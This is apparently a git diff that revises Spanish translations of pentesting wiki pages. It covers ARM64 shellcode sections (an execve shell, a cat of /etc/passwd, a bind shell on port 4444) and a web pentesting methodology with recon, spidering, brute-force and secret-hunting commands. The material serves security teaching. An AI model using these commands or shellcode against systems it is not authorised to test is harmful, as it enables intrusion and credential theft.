globally visible, so that the linker can find it as the entry point of the program. @@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="con adr para linux"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh" #### Leer con cat -El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es un array de parámetros (que en memoria significa una pila de las direcciones). +El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es un array de params (que en memoria significa un stack con las direcciones). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -Bind shell de [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) en **puerto 4444** +Bind shell desde [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) en **port 4444** ```armasm .section __TEXT,__text .global _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index c3cbad644..79960bf4c 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,7 +4,7 @@ ## Información Básica -El servicio web es el servicio más **común y extenso** y existen muchos **tipos diferentes de vulnerabilidades**. +El servicio web es el servicio más **común y amplio** y existen muchos **tipos diferentes de vulnerabilidades**. **Puerto por defecto:** 80 (HTTP), 443 (HTTPS) ```bash @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Guía de Web API +### Guía de API Web {{#ref}} @@ -26,36 +26,36 @@ web-api-pentesting.md ## Resumen de la metodología -> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo ese. Por lo tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierto con servidor web indeterminado dentro del scope. +> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo ese. Por tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierto con servidor web no determinado dentro del alcance. -- [ ] Empieza por **identificar** las **technologies** usadas por el servidor web. Busca **tricks** para tener en cuenta durante el resto del test si puedes identificar la tech. -- [ ] ¿Alguna **vulnerabilidad conocida** en la versión de la tecnología? -- [ ] ¿Usando alguna **well known tech**? ¿Algún **truco útil** para extraer más información? -- [ ] ¿Algún **specialised scanner** para ejecutar (like wpscan)? -- [ ] Lanza **general purposes scanners**. Nunca sabes si van a encontrar algo o alguna información interesante. -- [ ] Empieza con las **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** (if HTTPS). -- [ ] Comienza con el **spidering** de la página web: Es hora de **encontrar** todos los posibles **archivos, carpetas** y **parámetros en uso.** Además, revisa **hallazgos especiales**. -- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ -- [ ] **Directory Brute-Forcing**: Intenta brute force todas las carpetas descubiertas buscando nuevos **archivos** y **directorios**. -- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ -- [ ] **Backups checking**: Comprueba si puedes encontrar **backups** de **archivos descubiertos** añadiendo extensiones comunes de backup. +- [ ] Comienza por **identificar** las **tecnologías** que usa el servidor web. Busca **trucos** que puedas tener en cuenta durante el resto de la prueba si consigues identificar la tecnología. +- [ ] ¿Alguna **vulnerabilidad conocida** de la versión de la tecnología? +- [ ] ¿Se está usando alguna **tecnología conocida**? ¿Algún **truco útil** para extraer más información? +- [ ] ¿Algún **scanner especializado** que ejecutar (como wpscan)? +- [ ] Lanza **scanners de propósito general**. Nunca sabes si van a encontrar algo o si van a devolver información interesante. +- [ ] Empieza con las **comprobaciones iniciales**: **robots**, **sitemap**, error **404** y **SSL/TLS scan** (si HTTPS). +- [ ] Comienza a **spidering** la página web: es hora de **encontrar** todos los posibles **ficheros, carpetas** y **parámetros usados**. Además, busca **hallazgos especiales**. +- [ ] _Ten en cuenta que cada vez que se descubra un nuevo directorio durante brute-forcing o spidering, debe ser spidered._ +- [ ] **Directory Brute-Forcing**: Intenta brute forcear todas las carpetas descubiertas buscando nuevos **ficheros** y **directorios**. +- [ ] _Ten en cuenta que cada vez que se descubra un nuevo directorio durante brute-forcing o spidering, debe ser Brute-Forced._ +- [ ] **Backups checking**: Comprueba si puedes encontrar **backups** de los **ficheros descubiertos** añadiendo extensiones de backup comunes. - [ ] **Brute-Force parameters**: Intenta **encontrar parámetros ocultos**. -- [ ] Una vez que hayas **identified** todos los posibles **endpoints** que aceptan **user input**, revisa todo tipo de **vulnerabilidades** relacionadas. +- [ ] Una vez hayas **identificado** todos los posibles **endpoints** que aceptan **user input**, comprueba todo tipo de **vulnerabilidades** relacionadas. - [ ] [Sigue esta checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version (Vulnerable?) +## Versión del servidor (¿Vulnerable?) ### Identificar -Comprueba si existen **vulnerabilidades conocidas** para la **version** del servidor que se está ejecutando.\ -Las **HTTP headers and cookies of the response** pueden ser muy útiles para **identify** las **technologies** y/o la **version** en uso. **Nmap scan** puede identificar la version del servidor, pero también pueden ser útiles las herramientas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:** +Comprueba si existen **vulnerabilidades conocidas** para la **versión** del servidor que está ejecutándose.\ +Los **HTTP headers y cookies de la respuesta** pueden ser muy útiles para **identificar** las **tecnologías** y/o la **versión** que se está usando. Un **Nmap scan** puede identificar la versión del servidor, pero también pueden resultar útiles herramientas como [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Buscar [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Buscar **por** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) ### **Comprobar si hay algún WAF** @@ -63,9 +63,9 @@ Buscar [**vulnerabilities of the web application** **version**](../../generic-ha - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Trucos de tecnología web +### Trucos de tecnologías Web -Algunos **trucos** para **encontrar vulnerabilidades** en distintas **tecnologías** bien conocidas que se estén usando: +Algunos **tricks** para **finding vulnerabilities** en diferentes bien conocidas **technologies** que se están usando: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -101,26 +101,25 @@ Algunos **trucos** para **encontrar vulnerabilidades** en distintas **tecnologí - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Ten en cuenta que el **mismo dominio** puede usar **diferentes tecnologías** en distintos **puertos**, **carpetas** y **subdominios**._\ -Si la aplicación web está usando alguna **tecnología/plataforma** conocida listada anteriormente o cualquier otra, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!). +_Ten en cuenta que el **mismo dominio** puede estar usando **diferentes technologies** en distintos **puertos**, **carpetas** y **subdominios**._\ +Si la web application está usando alguna well known **tech/platform listed before** o **any other**, no olvides **search on the Internet** nuevos tricks (¡y avísame!). ### Revisión de código fuente -Si el **source code** de la aplicación está disponible en **github**, además de realizar por tu cuenta una prueba White box de la aplicación, hay **alguna información** que podría ser **útil** para la actual prueba Black-Box: - -- ¿Existe un **Change-log o Readme o Version** o algo con **info de versión accesible** vía web? -- ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún (¿accesible?) **archivo** con credenciales (nombres de usuario o contraseñas)? -- ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hashing** se usa? -- ¿Se usa alguna **master key** para encriptar algo? ¿Qué **algoritmo** se utiliza? -- ¿Puedes **acceder a alguno de estos archivos** explotando alguna vulnerabilidad? -- ¿Hay alguna **información interesante en github** (issues resueltas y no resueltas)? ¿O en el **historial de commits** (quizá alguna **contraseña** introducida en un commit antiguo)? +Si el **source code** de la aplicación está disponible en **github**, además de realizar por **tu cuenta un White box test** de la aplicación, hay **algunas informaciones** que podrían ser **útiles** para la actual **Black-Box testing**: +- ¿Existe un **Change-log or Readme or Version** file o cualquier cosa con **version info accessible** vía web? +- ¿Cómo y dónde se guardan las **credentials**? ¿Hay algún (¿accessible?) **file** con credentials (usernames o passwords)? +- ¿Los passwords están en **plain text**, **encrypted** o qué **hashing algorithm** se usa? +- ¿Está usando alguna **master key** para cifrar algo? ¿Qué **algorithm** se usa? +- ¿Puedes acceder a alguno de estos files explotando alguna vulnerabilidad? +- ¿Hay alguna información interesante en los **github** issues (resueltos o no)? ¿O en el **commit history** (quizá algún password introducido en un commit antiguo)? {{#ref}} code-review-tools.md {{#endref}} -### Escáneres automáticos +### Automatic scanners #### Escáneres automáticos de propósito general ```bash @@ -136,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### Escáneres de CMS -Si se usa un CMS no olvides **ejecutar un scanner**, puede que se encuentre algo jugoso: +Si se utiliza un CMS no olvides **ejecutar un escáner**, quizá encuentres algo jugoso: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web en busca de problemas de seguridad. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web para detectar problemas de seguridad. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -149,13 +148,13 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> En este punto ya deberías tener algo de información sobre el servidor web que usa el cliente (si se ha proporcionado algún dato) y algunos trucos para tener en cuenta durante la prueba. Si tienes suerte, incluso habrás encontrado un CMS y ejecutado algún escáner. +> En este punto ya deberías tener algo de información sobre el servidor web utilizado por el cliente (si se proporcionó algún dato) y algunos trucos para tener en cuenta durante la prueba. Si tienes suerte, incluso has encontrado un CMS y ejecutado algún scanner. ## Descubrimiento paso a paso de la aplicación web > A partir de este punto vamos a empezar a interactuar con la aplicación web. -### Comprobaciones iniciales +### Verificaciones iniciales **Páginas por defecto con información interesante:** @@ -164,28 +163,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Revisa también los comentarios en las páginas principales y secundarias. +- Check also comments in the main and secondary pages. -**Provocar errores** +**Forzar errores** -Los servidores web pueden **comportarse de forma inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **filtrar información sensible**. +Los servidores web pueden **comportarse de forma inesperada** cuando se les envía datos extraños. Esto puede abrir **vulnerabilidades** o **divulgar información sensible**. - Accede a **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc) -- **Agrega "\[]", "]]", and "\[\["** en **valores de cookie** y **valores de parámetros** para crear errores -- Genera un error dando la entrada como **`/~randomthing/%s`** al **final** de la **URL** -- Prueba **diferentes HTTP Verbs** como PATCH, DEBUG o incorrectos como FAKE +- **Agrega "\[]", "]]", and "\[\["** en **cookie values** y **parameter** values para crear errores +- Genera un error dando como input **`/~randomthing/%s`** al **final** de la **URL** +- Prueba **different HTTP Verbs** como PATCH, DEBUG o inválidos como FAKE #### **Comprueba si puedes subir archivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Si encuentras que **WebDav** está **habilitado** pero no tienes suficientes permisos para **subir archivos** en la carpeta raíz intenta: +Si descubres que **WebDav** está **habilitado** pero no tienes permisos suficientes para **uploading files** en la carpeta raíz intenta: -- **Brute Force** credentials -- **Sube archivos** vía WebDav al **resto** de **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas. +- **Brute Force** credenciales +- **Upload files** vía WebDav al **rest** de los **found folders** dentro de la página web. Puede que tengas permisos para **upload files** en otras carpetas. -### **SSL/TLS vulnerabilidades** +### **Vulnerabilidades SSL/TLS** -- Si la aplicación **no obliga al uso de HTTPS** en ninguna parte, entonces es **vulnerable a MitM** -- Si la aplicación está **enviando datos sensibles (contraseñas) usando HTTP**. Entonces es una vulnerabilidad grave. +- Si la aplicación **no está forzando el uso de HTTPS** en ninguna parte, entonces es **vulnerable a MitM** +- Si la aplicación está **enviando datos sensibles (contraseñas) usando HTTP**. Entonces es una vulnerabilidad alta. Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para comprobar **vulnerabilidades** (En Bug Bounty programs probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv** ](https://github.com/hahwul/a2sv) para volver a comprobar las vulnerabilidades: ```bash @@ -196,60 +195,60 @@ Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para comprobar **vu sslscan sslyze --regular ``` -Information about SSL/TLS vulnerabilities: +Información sobre vulnerabilidades de SSL/TLS: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Lanza algún tipo de **spider** dentro del sitio. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** de la aplicación probada. Por lo tanto, se debe usar web crawling y fuentes externas para encontrar la mayor cantidad de rutas válidas posible. +Lanza algún tipo de **spider** dentro del sitio web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** de la aplicación probada. Por lo tanto, se debe usar web crawling y fuentes externas para encontrar tantas rutas válidas como sea posible. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, con LinkFider para archivos JS y Archive.org como fuente externa. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, también indica "juicy files". +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, además indica "juicy files". - [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactivo HTML spider. También busca en Archive.org - [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider pero puede ser útil. Puedes indicar un archivo con hosts y un archivo con paths y meg hará fetch de cada path en cada host y guardará la respuesta. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacidades de renderizado JS. Sin embargo, parece no estar mantenida, la versión precompilada es antigua y el código actual no compila. -- [**gau**](https://github.com/lc/gau) (go): HTML spider que usa proveedores externos (wayback, otx, commoncrawl) +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacidades de renderizado JS. Sin embargo, parece no mantenerse, la versión precompilada es antigua y el código actual no compila. +- [**gau**](https://github.com/lc/gau) (go): HTML spider que usa proveedores externos (wayback, otx, commoncrawl). - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider con capacidades de renderizado JS. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, con capacidades de JS beautify capaz de buscar nuevas rutas en archivos JS. También puede valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un wrapper de LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto del source HTML como de archivos javascript embebidos. Útil para bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script en python 2.7 usando Tornado y JSBeautifier para parsear URLs relativas desde archivos JavaScript. Útil para descubrir fácilmente peticiones AJAX. Parece no estar mantenido. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs usando una expresión regular ingeniosa para encontrar y extraer URLs relativas de archivos feos (minificados). -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Recolecta información interesante de archivos JS usando varias herramientas. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el source HTML como en archivos javascript embebidos. Útil para bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script en python 2.7 que usa Tornado y JSBeautifier para parsear URLs relativas desde archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece no mantenerse. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs usando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos minificados. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Recopila información interesante de archivos JS usando varias herramientas. - [**subjs**](https://github.com/lc/subjs) (go): Encuentra archivos JS. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador headless e imprime todas las urls cargadas para renderizar la página. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de discovery de contenido que mezcla varias opciones de las herramientas anteriores +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de descubrimiento de contenido que mezcla varias opciones de las herramientas anteriores. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar paths y params en archivos JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL de .js.map te conseguirá el código JS beautified -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Herramienta usada para descubrir endpoints para un target dado. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre links desde the wayback machine (también descarga las respuestas en el wayback y busca más links) -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (incluso rellenando formularios) y también busca info sensible usando regex específicas. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado crawler/spider GUI multi-feature diseñado para profesionales de ciberseguridad. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un package en Go y [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, paths, secretos y otros datos interesantes del código fuente JavaScript. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **Burp Suite extension** para **extraer los parámetros y endpoints** de las requests y crear wordlists personalizadas para fuzzing y enumeración. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dada la URL .js.map te devolverá el código JS beautyfied. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Herramienta para descubrir endpoints para un objetivo dado. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre links desde la wayback machine (también descarga las respuestas en la wayback y busca más links). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (incluso rellenando forms) y también encuentra info sensible usando regexes específicas. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un crawler/spider GUI multi-feature avanzado diseñado para profesionales de ciberseguridad. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un package Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, paths, secrets y otros datos interesantes del código fuente JavaScript. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **Burp Suite extension** para **extraer los parámetros y endpoints** de las requests para crear wordlists personalizadas para fuzzing y enumeración. - [**katana**](https://github.com/projectdiscovery/katana) (go): Excelente herramienta para esto. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime cada link que pueda encontrar. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime cada link que es capaz de encontrar. ### Brute Force directories and files -Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ -Tools: +Comienza el **brute-forcing** desde la carpeta raíz y asegúrate de brute-force **todas** las **rutas encontradas** usando **este método** y todas las rutas **descubiertas** por el **Spidering** (puedes hacer este brute-forcing **recursivamente** y añadir al inicio de la wordlist usada los nombres de los directorios encontrados).\ +Herramientas: -- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. +- **Dirb** / **Dirbuster** - Incluido en Kali, **old** (y **slow**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento comparado con otras opciones. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: No permite certificados auto-firmados pero** permite búsqueda recursiva. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados auto-firmados, no tiene búsqueda **recursiva**. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) -- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. +- [**uro**](https://github.com/s0md3v/uro) (python): No es un spider pero es una herramienta que, dada la lista de URLs encontradas, eliminará las URLs "duplicadas". +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension para crear una lista de directorios a partir del histórico de Burp de diferentes páginas. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Elimina URLs con funcionalidades duplicadas (basado en imports JS). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologías usadas y seleccionar las wordlists a usar. -**Recommended dictionaries:** +**Diccionarios recomendados:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -268,41 +267,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +_Ten en cuenta que cada vez que se descubra un nuevo directorio durante el brute-forcing o el spidering, debe ser Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTMLs que pueden ser susceptibles a takeover. -- **File Backups**: Una vez que hayas encontrado todos los archivos, busca backups de todos los ficheros ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar backups son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encontrar enlaces rotos dentro de HTMLs que pueden ser propensos a takeovers. +- **File Backups**: Una vez que has encontrado todos los archivos, busca backups de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar un backup son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **Discover new parameters**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, intenta buscar** parámetros ocultos en cada archivo web ejecutable. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Revisa los comentarios de todos los archivos; puedes encontrar **credentials** o **funcionalidad oculta**. -- Si estás jugando en **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **centenares** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias líneas nuevas** y **ocultar información** en un comentario al **final** de la página web. +- **Comments:** Revisa los comentarios de todos los archivos, puedes encontrar **credentials** u **ocultas funcionalidades**. +- Si estás jugando en **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el source con el navegador). Otra posibilidad es usar **varias líneas nuevas** y **ocultar información** en un comentario al **final** de la página web. - **API keys**: Si **encuentras alguna API key** hay proyectos que indican cómo usar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Si encuentras una API key que empiece por **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para comprobar qué APIs puede consumir la key. -- **S3 Buckets**: Mientras haces spidering busca si algún **subdomain** o algún **link** está relacionado con algún **S3 bucket**. En ese caso, [**check** the **permissions** of the bucket](buckets/index.html). +- Google API keys: Si encuentras una API key que empiece por **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para comprobar qué apis puede acceder la key. +- **S3 Buckets**: Mientras haces spidering busca si algún **subdomain** o algún **link** está relacionado con algún **S3 bucket**. En ese caso, [**revisa** los **permisos** del bucket](buckets/index.html). ### Special findings -**Mientras** realizas el **spidering** y el **brute-forcing** podrías encontrar **cosas interesantes** que debes **tener en cuenta**. +**Mientras** realizas el **spidering** y el **brute-forcing** podrías encontrar **cosas** **interesantes** que debes **anotar**. **Archivos interesantes** -- Busca **links** a otros ficheros dentro de los archivos **CSS**. +- Busca **links** a otros archivos dentro de los **CSS**. - [If you find a _**.git**_ file some information can be extracted](git.md) -- Si encuentras un _**.env**_ se pueden encontrar información como api keys, passwords de bases de datos y otra información. -- Si encuentras **API endpoints** deberías [also test them](web-api-pentesting.md). Estos no son archivos, pero probablemente "se verán" como tales. -- **JS files**: En la sección de spidering se mencionaron varias herramientas que pueden extraer paths de archivos JS. También sería interesante **monitorizar cada archivo JS encontrado**, ya que en algunas ocasiones un cambio puede indicar que se ha introducido una vulnerabilidad potencial en el código. Puedes usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.** +- Si encuentras un _**.env**_ se pueden encontrar información como api keys, contraseñas de dbs y otros datos. +- Si encuentras **API endpoints** también [deberías probarlos](web-api-pentesting.md). 